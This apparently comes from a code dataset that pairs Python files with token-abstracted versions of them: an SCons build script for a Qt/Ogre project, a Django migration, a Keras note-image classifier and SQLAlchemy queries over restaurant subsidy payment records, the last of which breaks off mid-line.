baseEnvironment[\"DISABLE_GRAPH\"]:\r\n\twalker.makeDependencyGraph(\"dependencies.png\")\r\n", "import os\nimport build\nSetOption('num_jobs', 4)\nSetOption('implicit_cache', 1)\nbuildVariables = Variables('localconfig.py')\nbuildVariables.Add(PathVariable('QTDIR', 'Qt4 root directory',\n '/usr/share/qt4', PathVariable.PathIsDir))\nbuildVariables.Add(PathVariable('OGRE_HOME',\n 'Ogre1.6 root directory (windows only)', None, PathVariable.PathIsDir))\nbuildVariables.Add(PathVariable('PTHREADWIN32_HOME',\n 'PthreadWin32 root directory (windows only)', None, PathVariable.PathIsDir)\n )\nbuildVariables.Add(PathVariable('ODE_HOME', 'ODE 0.11 root directory', None,\n PathVariable.PathIsDir))\nbuildVariables.Add(BoolVariable('DEBUG',\n 'If true, build in debug configuration', False))\nbuildVariables.Add(BoolVariable('FORCE_MINGW',\n 'When both MinGW and VC++ are installed, force the use of the MinGW compiler instead of the default (windows only)'\n , False))\nbuildVariables.Add(BoolVariable('DISABLE_GRAPH',\n 'Disable dependency graph generation', False))\ncurrentVariables = Environment(variables=buildVariables).Dictionary()\nbaseTools = ['qt']\nif os.name == 'nt':\n if currentVariables['FORCE_MINGW']:\n baseTools.append('mingw')\n else:\n baseTools.append('default')\nelse:\n baseTools.append('default')\nbaseEnvironment = Environment(tools=baseTools, variables=buildVariables)\nbaseEnvironment['OSNAME'] = os.name\nbaseEnvironment['SYSPATH'] = os.environ['PATH'].split(os.pathsep)\nif baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/EHsc'])\nif baseEnvironment['DEBUG']:\n if baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/Z7'])\n else:\n baseEnvironment.AppendUnique(CPPFLAGS=['-g'])\nelif baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/Ox'])\nelse:\n baseEnvironment.AppendUnique(CPPFLAGS=['-O2'])\nbaseEnvironment.Replace(LIBS=[])\nbaseEnvironment.Replace(LIBPATH=[])\nbaseEnvironment.Replace(CPPPATH=[])\nuiBuilder = Builder(action='$QT_UIC $QT_UICDECLFLAGS -o ${TARGETS[0]} $SOURCE')\nbaseEnvironment.Append(BUILDERS={'Ui': uiBuilder})\nrcBuilder = Builder(action=\n '$QT_BINPATH/rcc $QT_RCCDECLFLAGS -o ${TARGETS[0]} $SOURCE')\nbaseEnvironment.Append(BUILDERS={'Rc': rcBuilder})\nif os.name == 'nt' and baseEnvironment['CC'] == 'cl':\n import _winreg\n key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,\n 'Software\\\\Microsoft\\\\Microsoft SDKs\\\\Windows')\n winSdkHome = _winreg.QueryValueEx(key, 'CurrentInstallFolder')[0]\n _winreg.CloseKey(key)\n baseEnvironment['WINSDK_HOME'] = winSdkHome\n baseEnvironment.AppendUnique(CPPPATH=['$WINSDK_HOME/Include'])\n baseEnvironment.AppendUnique(LIBPATH=['$WINSDK_HOME/Lib'])\nif os.name == 'nt' and baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/MD'])\nbaseEnvironment.Decider('MD5-timestamp')\nHelp(buildVariables.GenerateHelpText(baseEnvironment))\nwalker = build.DependencyWalker()\nfor script in Glob('components.*.py'):\n SConscript(script, exports='walker', variant_dir='build', duplicate=0)\nwalker.makeEnvironments(baseEnvironment)\nif not baseEnvironment['DISABLE_GRAPH']:\n walker.makeDependencyGraph('dependencies.png')\n", "<import token>\nSetOption('num_jobs', 4)\nSetOption('implicit_cache', 1)\nbuildVariables = Variables('localconfig.py')\nbuildVariables.Add(PathVariable('QTDIR', 'Qt4 root directory',\n '/usr/share/qt4', PathVariable.PathIsDir))\nbuildVariables.Add(PathVariable('OGRE_HOME',\n 'Ogre1.6 root directory (windows only)', None, PathVariable.PathIsDir))\nbuildVariables.Add(PathVariable('PTHREADWIN32_HOME',\n 'PthreadWin32 root directory (windows only)', None, PathVariable.PathIsDir)\n )\nbuildVariables.Add(PathVariable('ODE_HOME', 'ODE 0.11 root directory', None,\n PathVariable.PathIsDir))\nbuildVariables.Add(BoolVariable('DEBUG',\n 'If true, build in debug configuration', False))\nbuildVariables.Add(BoolVariable('FORCE_MINGW',\n 'When both MinGW and VC++ are installed, force the use of the MinGW compiler instead of the default (windows only)'\n , False))\nbuildVariables.Add(BoolVariable('DISABLE_GRAPH',\n 'Disable dependency graph generation', False))\ncurrentVariables = Environment(variables=buildVariables).Dictionary()\nbaseTools = ['qt']\nif os.name == 'nt':\n if currentVariables['FORCE_MINGW']:\n baseTools.append('mingw')\n else:\n baseTools.append('default')\nelse:\n baseTools.append('default')\nbaseEnvironment = Environment(tools=baseTools, variables=buildVariables)\nbaseEnvironment['OSNAME'] = os.name\nbaseEnvironment['SYSPATH'] = os.environ['PATH'].split(os.pathsep)\nif baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/EHsc'])\nif baseEnvironment['DEBUG']:\n if baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/Z7'])\n else:\n baseEnvironment.AppendUnique(CPPFLAGS=['-g'])\nelif baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/Ox'])\nelse:\n baseEnvironment.AppendUnique(CPPFLAGS=['-O2'])\nbaseEnvironment.Replace(LIBS=[])\nbaseEnvironment.Replace(LIBPATH=[])\nbaseEnvironment.Replace(CPPPATH=[])\nuiBuilder = Builder(action='$QT_UIC $QT_UICDECLFLAGS -o ${TARGETS[0]} $SOURCE')\nbaseEnvironment.Append(BUILDERS={'Ui': uiBuilder})\nrcBuilder = Builder(action=\n '$QT_BINPATH/rcc $QT_RCCDECLFLAGS -o ${TARGETS[0]} $SOURCE')\nbaseEnvironment.Append(BUILDERS={'Rc': rcBuilder})\nif os.name == 'nt' and baseEnvironment['CC'] == 'cl':\n import _winreg\n key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,\n 'Software\\\\Microsoft\\\\Microsoft SDKs\\\\Windows')\n winSdkHome = _winreg.QueryValueEx(key, 'CurrentInstallFolder')[0]\n _winreg.CloseKey(key)\n baseEnvironment['WINSDK_HOME'] = winSdkHome\n baseEnvironment.AppendUnique(CPPPATH=['$WINSDK_HOME/Include'])\n baseEnvironment.AppendUnique(LIBPATH=['$WINSDK_HOME/Lib'])\nif os.name == 'nt' and baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/MD'])\nbaseEnvironment.Decider('MD5-timestamp')\nHelp(buildVariables.GenerateHelpText(baseEnvironment))\nwalker = build.DependencyWalker()\nfor script in Glob('components.*.py'):\n SConscript(script, exports='walker', variant_dir='build', duplicate=0)\nwalker.makeEnvironments(baseEnvironment)\nif not baseEnvironment['DISABLE_GRAPH']:\n walker.makeDependencyGraph('dependencies.png')\n", "<import token>\nSetOption('num_jobs', 4)\nSetOption('implicit_cache', 1)\n<assignment token>\nbuildVariables.Add(PathVariable('QTDIR', 'Qt4 root directory',\n '/usr/share/qt4', PathVariable.PathIsDir))\nbuildVariables.Add(PathVariable('OGRE_HOME',\n 'Ogre1.6 root directory (windows only)', None, PathVariable.PathIsDir))\nbuildVariables.Add(PathVariable('PTHREADWIN32_HOME',\n 'PthreadWin32 root directory (windows only)', None, PathVariable.PathIsDir)\n )\nbuildVariables.Add(PathVariable('ODE_HOME', 'ODE 0.11 root directory', None,\n PathVariable.PathIsDir))\nbuildVariables.Add(BoolVariable('DEBUG',\n 'If true, build in debug configuration', False))\nbuildVariables.Add(BoolVariable('FORCE_MINGW',\n 'When both MinGW and VC++ are installed, force the use of the MinGW compiler instead of the default (windows only)'\n , False))\nbuildVariables.Add(BoolVariable('DISABLE_GRAPH',\n 'Disable dependency graph generation', False))\n<assignment token>\nif os.name == 'nt':\n if currentVariables['FORCE_MINGW']:\n baseTools.append('mingw')\n else:\n baseTools.append('default')\nelse:\n baseTools.append('default')\n<assignment token>\nif baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/EHsc'])\nif baseEnvironment['DEBUG']:\n if baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/Z7'])\n else:\n baseEnvironment.AppendUnique(CPPFLAGS=['-g'])\nelif baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/Ox'])\nelse:\n baseEnvironment.AppendUnique(CPPFLAGS=['-O2'])\nbaseEnvironment.Replace(LIBS=[])\nbaseEnvironment.Replace(LIBPATH=[])\nbaseEnvironment.Replace(CPPPATH=[])\n<assignment token>\nbaseEnvironment.Append(BUILDERS={'Ui': uiBuilder})\n<assignment token>\nbaseEnvironment.Append(BUILDERS={'Rc': rcBuilder})\nif os.name == 'nt' and baseEnvironment['CC'] == 'cl':\n import _winreg\n key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,\n 'Software\\\\Microsoft\\\\Microsoft SDKs\\\\Windows')\n winSdkHome = _winreg.QueryValueEx(key, 'CurrentInstallFolder')[0]\n _winreg.CloseKey(key)\n baseEnvironment['WINSDK_HOME'] = winSdkHome\n baseEnvironment.AppendUnique(CPPPATH=['$WINSDK_HOME/Include'])\n baseEnvironment.AppendUnique(LIBPATH=['$WINSDK_HOME/Lib'])\nif os.name == 'nt' and baseEnvironment['CC'] == 'cl':\n baseEnvironment.AppendUnique(CPPFLAGS=['/MD'])\nbaseEnvironment.Decider('MD5-timestamp')\nHelp(buildVariables.GenerateHelpText(baseEnvironment))\n<assignment token>\nfor script in Glob('components.*.py'):\n SConscript(script, exports='walker', variant_dir='build', duplicate=0)\nwalker.makeEnvironments(baseEnvironment)\nif not baseEnvironment['DISABLE_GRAPH']:\n walker.makeDependencyGraph('dependencies.png')\n", "<import token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
448
3b42e218acf1c93fab3a0893efa8bf32a274eb23
# Generated by Django 2.2.6 on 2019-11-13 13:11 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('interface', '0010_auto_20191104_2107'), ] operations = [ migrations.AlterField( model_name='submission', name='review_score', field=models.DecimalField(decimal_places=2, editable=False, max_digits=5, null=True), ), migrations.AlterField( model_name='submission', name='total_score', field=models.DecimalField(decimal_places=2, editable=False, max_digits=5, null=True), ), ]
[ "# Generated by Django 2.2.6 on 2019-11-13 13:11\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('interface', '0010_auto_20191104_2107'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='submission',\n name='review_score',\n field=models.DecimalField(decimal_places=2, editable=False, max_digits=5, null=True),\n ),\n migrations.AlterField(\n model_name='submission',\n name='total_score',\n field=models.DecimalField(decimal_places=2, editable=False, max_digits=5, null=True),\n ),\n ]\n", "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('interface', '0010_auto_20191104_2107')]\n operations = [migrations.AlterField(model_name='submission', name=\n 'review_score', field=models.DecimalField(decimal_places=2,\n editable=False, max_digits=5, null=True)), migrations.AlterField(\n model_name='submission', name='total_score', field=models.\n DecimalField(decimal_places=2, editable=False, max_digits=5, null=\n True))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('interface', '0010_auto_20191104_2107')]\n operations = [migrations.AlterField(model_name='submission', name=\n 'review_score', field=models.DecimalField(decimal_places=2,\n editable=False, max_digits=5, null=True)), migrations.AlterField(\n model_name='submission', name='total_score', field=models.\n DecimalField(decimal_places=2, editable=False, max_digits=5, null=\n True))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]
false
449
13b69ec61d6b2129f1974ce7cae91c84100b3b58
import tensorflow.keras from PIL import Image, ImageOps from os import listdir from os.path import isfile, join import numpy as np import glob import cv2 np.set_printoptions(suppress = True) # Load the model model = tensorflow.keras.models.load_model('./converted_keras/keras_model.h5') # Create the array of the right shape to feed into the keras model # The 'length' or number of images you can put into the array is # determined by the first position in the shape tuple, in this case 1. data = np.ndarray(shape = (1, 224, 224, 3), dtype = np.float32) path = glob.glob("/Users/zjisuoo/Documents/zjisuoo_git/OurChord/00_NOTE_DATA/TEST/*.png") images = [] for image in path : n1 = cv2.imread(image) n2 = cv2.resize(n1, (244, 244)) images.append(n2) print(image) #turn the image int a numpy array image_array = np.array(n2) # Normalize the image normalized_image_array = (image_array.astype(dtype = np.float32) / 127.0) - 1 # Load the image into the array data = normalized_image_array # run the inference prediction = model.predict(data) # print(prediction) if(prediction[0][0] > 0.8): print("2분음표") elif(prediction[0][1] > 0.8): print("4분음표") elif(prediction[0][2] > 0.8): print("8분음표") elif(prediction[0][3] > 0.8): print("16분음표") else: print("음표아님")
[ "import tensorflow.keras\nfrom PIL import Image, ImageOps\nfrom os import listdir\nfrom os.path import isfile, join\nimport numpy as np\nimport glob\nimport cv2\n\nnp.set_printoptions(suppress = True)\n\n# Load the model\nmodel = tensorflow.keras.models.load_model('./converted_keras/keras_model.h5')\n\n# Create the array of the right shape to feed into the keras model\n# The 'length' or number of images you can put into the array is\n# determined by the first position in the shape tuple, in this case 1.\ndata = np.ndarray(shape = (1, 224, 224, 3), dtype = np.float32)\n\npath = glob.glob(\"/Users/zjisuoo/Documents/zjisuoo_git/OurChord/00_NOTE_DATA/TEST/*.png\")\nimages = []\n\nfor image in path :\n n1 = cv2.imread(image)\n n2 = cv2.resize(n1, (244, 244))\n images.append(n2)\n\n print(image)\n\n#turn the image int a numpy array\nimage_array = np.array(n2)\n\n# Normalize the image\nnormalized_image_array = (image_array.astype(dtype = np.float32) / 127.0) - 1\n\n# Load the image into the array\ndata = normalized_image_array\n\n# run the inference\nprediction = model.predict(data)\n# print(prediction)\n\nif(prediction[0][0] > 0.8):\n print(\"2분음표\")\nelif(prediction[0][1] > 0.8):\n print(\"4분음표\")\nelif(prediction[0][2] > 0.8):\n print(\"8분음표\")\nelif(prediction[0][3] > 0.8):\n print(\"16분음표\")\nelse:\n print(\"음표아님\")", "import tensorflow.keras\nfrom PIL import Image, ImageOps\nfrom os import listdir\nfrom os.path import isfile, join\nimport numpy as np\nimport glob\nimport cv2\nnp.set_printoptions(suppress=True)\nmodel = tensorflow.keras.models.load_model('./converted_keras/keras_model.h5')\ndata = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32)\npath = glob.glob(\n '/Users/zjisuoo/Documents/zjisuoo_git/OurChord/00_NOTE_DATA/TEST/*.png')\nimages = []\nfor image in path:\n n1 = cv2.imread(image)\n n2 = cv2.resize(n1, (244, 244))\n images.append(n2)\n print(image)\nimage_array = np.array(n2)\nnormalized_image_array = image_array.astype(dtype=np.float32) / 127.0 - 1\ndata = normalized_image_array\nprediction = model.predict(data)\nif prediction[0][0] > 0.8:\n print('2분음표')\nelif prediction[0][1] > 0.8:\n print('4분음표')\nelif prediction[0][2] > 0.8:\n print('8분음표')\nelif prediction[0][3] > 0.8:\n print('16분음표')\nelse:\n print('음표아님')\n", "<import token>\nnp.set_printoptions(suppress=True)\nmodel = tensorflow.keras.models.load_model('./converted_keras/keras_model.h5')\ndata = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32)\npath = glob.glob(\n '/Users/zjisuoo/Documents/zjisuoo_git/OurChord/00_NOTE_DATA/TEST/*.png')\nimages = []\nfor image in path:\n n1 = cv2.imread(image)\n n2 = cv2.resize(n1, (244, 244))\n images.append(n2)\n print(image)\nimage_array = np.array(n2)\nnormalized_image_array = image_array.astype(dtype=np.float32) / 127.0 - 1\ndata = normalized_image_array\nprediction = model.predict(data)\nif prediction[0][0] > 0.8:\n print('2분음표')\nelif prediction[0][1] > 0.8:\n print('4분음표')\nelif prediction[0][2] > 0.8:\n print('8분음표')\nelif prediction[0][3] > 0.8:\n print('16분음표')\nelse:\n print('음표아님')\n", "<import token>\nnp.set_printoptions(suppress=True)\n<assignment token>\nfor image in path:\n n1 = cv2.imread(image)\n n2 = cv2.resize(n1, (244, 244))\n images.append(n2)\n print(image)\n<assignment token>\nif prediction[0][0] > 0.8:\n print('2분음표')\nelif prediction[0][1] > 0.8:\n print('4분음표')\nelif prediction[0][2] > 0.8:\n print('8분음표')\nelif prediction[0][3] > 0.8:\n print('16분음표')\nelse:\n print('음표아님')\n", "<import token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
450
68d537cb8488ae4f2c8300e885be78540952dec0
#!/usr/bin/env python2 # coding=utf8 from __future__ import absolute_import, division, print_function from sqlalchemy import func from walis.model.walis import walis_session from walis.model.zeus import zeus_session, zeus_db_handler from walis.model.zeus.activity import ( SubsidyProcessRecord, SubsidyPayRecord, ActivityStats, ) from walis.model.walis.activity import PaymentNoticeRecord as NoticeRecord from walis.utils.time import get_today_begin_time, get_today_end_time MAX_LIST_SIZE = 1000 DEFAULT_LIST_SIZE = 200 def get_new_pay_records(process_at, limit=200): with zeus_session() as session: result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.restaurant_id, SubsidyProcessRecord.card_id, SubsidyProcessRecord.processed_at, SubsidyPayRecord.status). \ outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id). \ filter(SubsidyPayRecord.id > process_at). \ filter(SubsidyProcessRecord.status != SubsidyProcessRecord.STATUS_FAIL). \ order_by(SubsidyPayRecord.id.asc()).limit(limit).all() return result def get_success_pay_records(record_ids): with zeus_session() as session: result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.restaurant_id, SubsidyProcessRecord.card_id, SubsidyProcessRecord.processed_at,). \ outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id). \ filter(SubsidyPayRecord.status == SubsidyPayRecord.STATUS_SUCCESS). \ filter(SubsidyProcessRecord.status != SubsidyProcessRecord.STATUS_FAIL). \ filter(SubsidyPayRecord.id.in_(record_ids)).all() return result def get_activity_stats(pay_record_id): with zeus_session() as session: results = session.query(ActivityStats.activity_id, ActivityStats.activity_category_id, func.sum(ActivityStats.total_subsidy), func.min(ActivityStats.date), func.max(ActivityStats.date), func.sum(ActivityStats.quantity), ).group_by( ActivityStats.restaurant_id, ActivityStats.activity_id, ActivityStats.activity_category_id). \ filter(ActivityStats.pay_record_id == pay_record_id). \ filter(ActivityStats.status == ActivityStats.STATUS_PAY_SUCCESS).all() return results def get_success_record_ids_by_restaurant( restaurant_id, activity_id=None, activity_category_id=None): with zeus_session() as session: query = session.query(SubsidyPayRecord.id). \ filter(SubsidyPayRecord.restaurant_id == restaurant_id). \ filter(SubsidyPayRecord.status == SubsidyPayRecord.STATUS_SUCCESS) if activity_id is not None: query.filter(SubsidyPayRecord.activity_id == activity_id) if activity_category_id is not None: query.filter( SubsidyPayRecord.activity_category_id == activity_category_id) record_ids = query.all() return [r[0] for r in record_ids] PAYLOG_STATUS_LIST = { ActivityStats.STATUS_PAY_RECORD_GENERATED, ActivityStats.STATUS_PAY_SUCCESS, ActivityStats.STATUS_PAY_FAIL, } @zeus_db_handler def query_paylog_by_rst(restaurant_id, activity_id=None, activity_category_id=None, offset=None, limit=None): """ Except ActivityStats.STATUS_PENDING (未审核状态) """ q = session.query( ActivityStats.pay_record_id, ActivityStats.activity_id, ActivityStats.activity_category_id, ActivityStats.status, func.min(ActivityStats.date), func.max(ActivityStats.date), func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy), SubsidyPayRecord.created_at, func.max(SubsidyProcessRecord.id)). \ group_by(ActivityStats.pay_record_id, ActivityStats.activity_id, ActivityStats.activity_category_id). \ outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.pay_record_id). \ outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id). \ filter(ActivityStats.restaurant_id == restaurant_id).\ filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST)).\ order_by(SubsidyPayRecord.created_at.desc()) if activity_id is not None: q = q.filter(ActivityStats.activity_id == activity_id) if activity_category_id is not None: q = q.filter(ActivityStats.activity_category_id == activity_category_id) if limit is not None: q = q.limit(min(limit, MAX_LIST_SIZE)) else: q = q.limit(DEFAULT_LIST_SIZE) if offset is not None: q = q.offset(offset) return q @zeus_db_handler def query_pay_records(restaurant_id, offset=None, limit=None): q = session.query(SubsidyPayRecord).\ filter(SubsidyPayRecord.restaurant_id == restaurant_id).\ order_by(SubsidyPayRecord.created_at.desc()) if limit is not None: q = q.limit(min(limit, MAX_LIST_SIZE)) else: q = q.limit(DEFAULT_LIST_SIZE) if offset is not None: q = q.offset(offset) return q.all() @zeus_db_handler def query_paylog(pay_record_ids, activity_id=None, activity_category_id=None, offset=None, limit=None): q = session.query( ActivityStats.pay_record_id, ActivityStats.activity_id, ActivityStats.activity_category_id, ActivityStats.status, func.min(ActivityStats.date), func.max(ActivityStats.date), func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)).\ group_by(ActivityStats.pay_record_id, ActivityStats.activity_id, ActivityStats.activity_category_id). \ filter(ActivityStats.pay_record_id.in_(pay_record_ids)).\ filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST)).\ order_by(ActivityStats.created_at.desc()) if activity_id is not None: q = q.filter(ActivityStats.activity_id == activity_id) if activity_category_id is not None: q = q.filter(ActivityStats.activity_category_id == activity_category_id) if limit is not None: q = q.limit(min(limit, MAX_LIST_SIZE)) else: q = q.limit(DEFAULT_LIST_SIZE) if offset is not None: q = q.offset(offset) return q @zeus_db_handler def get_max_subsidy_process_record_ids(pay_record_ids): q = session.query(func.max(SubsidyProcessRecord.id)).\ group_by(SubsidyProcessRecord.pay_record_id).\ filter(SubsidyProcessRecord.pay_record_id.in_(pay_record_ids)) return q @zeus_db_handler def count_paylog_by_rst(restaurant_id, activity_id=None, activity_category_id=None): """ Except ActivityStats.STATUS_PENDING (未审核状态) """ q = session.query(ActivityStats.id). \ group_by(ActivityStats.pay_record_id, ActivityStats.activity_id, ActivityStats.activity_category_id). \ filter(ActivityStats.restaurant_id == restaurant_id).\ filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST)) if activity_id is not None: q = q.filter(ActivityStats.activity_id == activity_id) if activity_category_id is not None: q = q.filter(ActivityStats.activity_category_id == activity_category_id) return len(q.all()) @zeus_db_handler def query_process_records_by_ids(process_ids): query = session.query(SubsidyProcessRecord).\ filter(SubsidyProcessRecord.id.in_(process_ids)) return query.all() @zeus_db_handler def get_subsidy_record_process_time(record_ids, status): return session.query( SubsidyProcessRecord.pay_record_id, SubsidyProcessRecord.processed_at).\ filter(SubsidyProcessRecord.pay_record_id.in_(record_ids)).\ filter(SubsidyProcessRecord.status == status).all() def get_pay_activities_by_restaurant(rst_id): with zeus_session() as session: query = session.query( ActivityStats.activity_id, ActivityStats.activity_category_id,). \ group_by(ActivityStats.activity_id, ActivityStats.activity_category_id). \ filter(ActivityStats.restaurant_id == rst_id) return query.all() # javis model begins def query_sms_send_info(start_time=None, end_time=None, phone=None, restaurant_id=None, card_num_tail=None, status=None): with walis_session() as session: query = session.query(NoticeRecord) if phone: query = query.filter(NoticeRecord.phone == phone) if restaurant_id: query = query.filter(NoticeRecord.restaurant_id == restaurant_id) if card_num_tail: query = query.filter(NoticeRecord.card_num_tail == card_num_tail) if status: query = query.filter(NoticeRecord.status == status) if not start_time: start_time = get_today_begin_time() if not end_time: end_time = get_today_end_time() query = query.filter(NoticeRecord.created_at > start_time).\ filter(NoticeRecord.created_at < end_time) return query.all() def query_sms_send_count(start_time=None, end_time=None, status=None): with walis_session() as session: if not start_time: start_time = get_today_begin_time() if not end_time: end_time = get_today_end_time() query = session.query(func.count(NoticeRecord.record_id)).\ filter(NoticeRecord.created_at > start_time).\ filter(NoticeRecord.created_at < end_time) if status is not None: query = query.filter(NoticeRecord.status == status) return query.scalar() @zeus_db_handler def query_auto_pay_activity_stats_result( city_ids=None, restaurant_ids=None, activity_id=None, activity_category_id=None, from_date=None, to_date=None, statuses=None, offset=None, limit=None, with_subsidy=None): q = session.query(ActivityStats.restaurant_id, ActivityStats.activity_id, ActivityStats.activity_category_id, func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy), func.min(ActivityStats.date), func.max(ActivityStats.date)).\ group_by(ActivityStats.restaurant_id, ActivityStats.activity_id, ActivityStats.activity_category_id).\ order_by(ActivityStats.restaurant_id.desc()) return _query_activity_stats( q, city_ids, restaurant_ids, activity_id, activity_category_id, from_date, to_date, statuses, with_subsidy, offset, limit) def _query_activity_stats( q, city_ids=None, restaurant_ids=None, activity_id=None, activity_category_id=None, from_date=None, to_date=None, statuses=None, with_subsidy=None, offset=None, limit=None): if activity_id is not None: q = q.filter(ActivityStats.activity_id == activity_id) if activity_category_id is not None: q = q.filter(ActivityStats.activity_category_id == activity_category_id) # noqa if city_ids is not None: q = q.filter(ActivityStats.city_id.in_(city_ids)) if restaurant_ids is not None: q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids)) if from_date is not None: q = q.filter(ActivityStats.date >= from_date) if to_date is not None: q = q.filter(ActivityStats.date <= to_date) if statuses is not None: q = q.filter(ActivityStats.status.in_(statuses)) if with_subsidy is not None: if with_subsidy: q = q.filter(ActivityStats.total_subsidy > 0) else: q = q.filter(ActivityStats.total_subsidy == 0) if offset is not None: q = q.offset(offset) q = q.limit(1000) return q
[ "#!/usr/bin/env python2\n# coding=utf8\n\nfrom __future__ import absolute_import, division, print_function\n\nfrom sqlalchemy import func\n\nfrom walis.model.walis import walis_session\nfrom walis.model.zeus import zeus_session, zeus_db_handler\nfrom walis.model.zeus.activity import (\n SubsidyProcessRecord,\n SubsidyPayRecord,\n ActivityStats,\n)\nfrom walis.model.walis.activity import PaymentNoticeRecord as NoticeRecord\nfrom walis.utils.time import get_today_begin_time, get_today_end_time\n\n\nMAX_LIST_SIZE = 1000\nDEFAULT_LIST_SIZE = 200\n\n\ndef get_new_pay_records(process_at, limit=200):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id,\n SubsidyPayRecord.restaurant_id,\n SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at,\n SubsidyPayRecord.status). \\\n outerjoin(SubsidyProcessRecord,\n SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id). \\\n filter(SubsidyPayRecord.id > process_at). \\\n filter(SubsidyProcessRecord.status != SubsidyProcessRecord.STATUS_FAIL). \\\n order_by(SubsidyPayRecord.id.asc()).limit(limit).all()\n\n return result\n\n\ndef get_success_pay_records(record_ids):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id,\n SubsidyPayRecord.restaurant_id,\n SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at,). \\\n outerjoin(SubsidyProcessRecord,\n SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id). \\\n filter(SubsidyPayRecord.status == SubsidyPayRecord.STATUS_SUCCESS). \\\n filter(SubsidyProcessRecord.status != SubsidyProcessRecord.STATUS_FAIL). \\\n filter(SubsidyPayRecord.id.in_(record_ids)).all()\n\n return result\n\n\ndef get_activity_stats(pay_record_id):\n with zeus_session() as session:\n results = session.query(ActivityStats.activity_id,\n ActivityStats.activity_category_id,\n func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date),\n func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), ).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id). \\\n filter(ActivityStats.pay_record_id == pay_record_id). \\\n filter(ActivityStats.status == ActivityStats.STATUS_PAY_SUCCESS).all()\n\n return results\n\n\ndef get_success_record_ids_by_restaurant(\n restaurant_id, activity_id=None, activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id). \\\n filter(SubsidyPayRecord.restaurant_id == restaurant_id). \\\n filter(SubsidyPayRecord.status == SubsidyPayRecord.STATUS_SUCCESS)\n\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n\n if activity_category_id is not None:\n query.filter(\n SubsidyPayRecord.activity_category_id == activity_category_id)\n record_ids = query.all()\n\n return [r[0] for r in record_ids]\n\n\nPAYLOG_STATUS_LIST = {\n ActivityStats.STATUS_PAY_RECORD_GENERATED,\n ActivityStats.STATUS_PAY_SUCCESS,\n ActivityStats.STATUS_PAY_FAIL,\n}\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(\n ActivityStats.pay_record_id,\n ActivityStats.activity_id,\n ActivityStats.activity_category_id,\n ActivityStats.status,\n func.min(ActivityStats.date),\n func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity),\n func.sum(ActivityStats.total_subsidy),\n SubsidyPayRecord.created_at,\n func.max(SubsidyProcessRecord.id)). \\\n group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id,\n ActivityStats.activity_category_id). \\\n outerjoin(SubsidyPayRecord,\n SubsidyPayRecord.id == ActivityStats.pay_record_id). \\\n outerjoin(SubsidyProcessRecord,\n SubsidyProcessRecord.pay_record_id == SubsidyPayRecord.id). \\\n filter(ActivityStats.restaurant_id == restaurant_id).\\\n filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST)).\\\n order_by(SubsidyPayRecord.created_at.desc())\n\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n\n if activity_category_id is not None:\n q = 